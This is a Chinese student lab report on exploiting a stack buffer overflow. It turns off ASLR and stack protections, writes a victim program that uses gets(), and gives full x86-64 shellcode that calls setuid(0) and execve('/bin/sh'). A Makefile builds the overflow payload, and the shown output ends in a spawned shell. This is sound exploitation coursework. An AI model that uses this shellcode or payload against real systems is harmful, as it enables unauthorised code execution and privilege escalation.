缓冲区溢出实验报告

胡浦云

一. 实验目标

编写被攻击程序及 **shellcode**，利用缓冲区溢出原理获取 **shell** 。

二. 实验原理

1. 栈的结构

Stack
⋮
Return Address
Pushed Stack Bottom Pointer
Local Variable A
Local Variable B
Local Variable C
⋮

2. 缓冲区溢出

程序用来暂存数据的区域称为缓冲区，当程序没有检查缓冲区大小而直接向其中填充数据时，便可认为其存在缓冲区溢出漏洞。

如果构造长数据 **[Input]** ，使其超过缓冲区的大小 ，便可能覆写函数返回地址 **[Return Address]**，使函数返回时跳转到任意地址开始执行。

3. 注入 shellcode

shellcode，是一段用来注入内存用来获取 **shell** 的代码，在本实验中通过填入缓冲区并修改返回地址以执行。

4. 对栈溢出的保护

一般而言，操作系统和编译器对栈溢出都有所保护，而本实验中需要关闭以保证实验正常进行。

二. 实验过程

1. 关闭栈溢出保护

在栈溢出实验时我们需要注入栈空间的地址，而操作系统会使用 “栈地址随机化” 来抵御栈溢出攻击，我们需要关闭这项特性。

```
$ sudo sysctl kernel.randomize_va_space 0
```

而编译器通常会让操作系统取消栈的段描述符的执行位，并且加入检验变量以抵御栈溢出攻击，我们需要关闭这些特性。在 **Makefile** 中加入：

```
CFLAGS = -O0 -z execstack -fno-stack-protector
```

2. 编写被攻击程序

```
#include <stdio.h>

#ifndef BUFFER_SIZE
#define BUFFER_SIZE 128
#endif

int main(void) {
    char buffer[BUFFER_SIZE];
    printf("%p", buffer);
    gets(buffer);
    return 0;
}
```

3. 编写 shellcode

```
org 0x0000

[bits 64]

START:
call near L1
DATA:
db "/bin/sh", 0
TTY:
db "/dev/tty",0
AR0:
db 0,0,0,0,0,0,0,0
AR1:
```

```
db 0,0,0,0,0,0,0,0
L1:
pop rbx
mov [rbx+AR0-DATA], rbx

;close stdin
mov rdi, 0
mov eax, 3 ;sys_close
syscall

;open stdin again
lea rdi, [rbx+TTY-DATA]
xor rsi, rsi ; O_RDONLY
xor rdx, rdx ; ?
mov eax, 2 ; sys_open
syscall

;get root
mov rdi, 0
mov eax, 105 ; sys_setuid
syscall

;open shell
mov eax, 59 ;sys_execve

mov rdi, rbx
lea rsi, [rbx+AR0-DATA]
xor rdx, rdx
syscall
```

4. 编写 Makefile ，构造输入

通过计算，得知 **Return Address** 位于 **0x7fffffffdff8** ，缓冲区有 128 字节，则 **shellcode** 前需要有 136 字节的填充及 8 字节的返回地址。

```
CFLAGS = -O0 -z execstack -fno-stack-protector

BUFFER_OVERFLOW_VICTIM_SRC = src/buffer_overflow_victim.c

all: buffer_overflow_victim buffer_overflow_shellcode

buffer_overflow_victim:
    $(CC) $(CFLAGS) $(BUFFER_OVERFLOW_VICTIM_SRC) -o
bin/buffer_overflow_victim

buffer_overflow_shellcode:
    nasm src/buffer_overflow_shellcode.s -o
bin/buffer_overflow_shellcode
    dd if=/dev/zero of=bin/buffer_overflow_input count=136 bs=1
    echo -ne "\x00\xe0\xff\xff\xff\x7f\x00\x00"  >>
bin/buffer_overflow_input
    cat bin/buffer_overflow_shellcode >> bin/buffer_overflow_input

clean:
```

```
    rm bin/*

disassembly_shell_code:
    objdump -m i386:x86-64:intel -b binary --adjust-vma=0x0 -D
bin/buffer_overflow_shellcode
```

5. 进行实验

```
$ make
cc -O0 -z execstack -fno-stack-protector  src/buffer_overflow_victim.c
-o bin/buffer_overflow_victim
src/buffer_overflow_victim.c: In function ‘main’:
src/buffer_overflow_victim.c:10:5: warning: implicit declaration of
function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-
declaration]
     gets(buffer);
     ^~~~
     fgets
/usr/bin/ld: /tmp/ccZgyzpQ.o: in function `main’:
buffer_overflow_victim.c:(.text+0x2d): warning: the `gets’; function is
dangerous and should not be used.
nasm src/buffer_overflow_shellcode.s -o bin/buffer_overflow_shellcode
dd if=/dev/zero of=bin/buffer_overflow_input count=136 bs=1
136+0 records in
136+0 records out
136 bytes copied, 0.000388867 s, 350 kB/s
echo -ne "\x00\xe0\xff\xff\xff\x7f\x00\x00"  \
  >> bin/buffer_overflow_input
cat bin/buffer_overflow_shellcode >> bin/buffer_overflow_input
$ ./bin/buffer_overflow_victim < ./bin/buffer_overflow_input
0x7fffffffdf70
sh-4.4$
```

可见，确实成功获取了 **shell**。

三. 实验总结

本实验成功验证并利用了缓冲区溢出漏洞，成功获取了 **shell**，使自己充分了解了缓冲区溢出的危害。

本实验进行的同时还遇到了许多问题，主要问题在于 **shellcode** 的编写。比如如何获取 **RIP** 寄存器的值。虽然 x86_64 架构可以直接读 **RIP** 寄存器，但该 **shellcode** 采用了 **CALL NEAR [LABEL]** 的方式， **NEAR** 修饰符让指令中存储的是相对偏移而不是绝对地址，使得 **CALL** 始终可用。

另一问题在于该程序使用重定向输入方式，但 **execve** 后 **stdin** 仍然为重定向状态，需要重新打开。**POSIX** 标准规定新打开的文件描述符使用可用的最小的编号，因而 **close(0)** 后 **open("/dev/tty, 0, 0)** 即可。

至于系统调用方式，则在查找文档后解决。

四. 参考文献

[1] Chapman, R. (2018). *Linux System Call Table for x86 64 · Ryan A. Chapman*. [online] blog.rchapman.org. Available at: http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ [Accessed 2 Dec. 2018].

[2] Free Software Foundation (2018). *syscall(2) - Linux manual page*. [online] Available at: http://man7.org/linux/man-pages/man2/syscall.2.html [Accessed 2 Dec. 2018].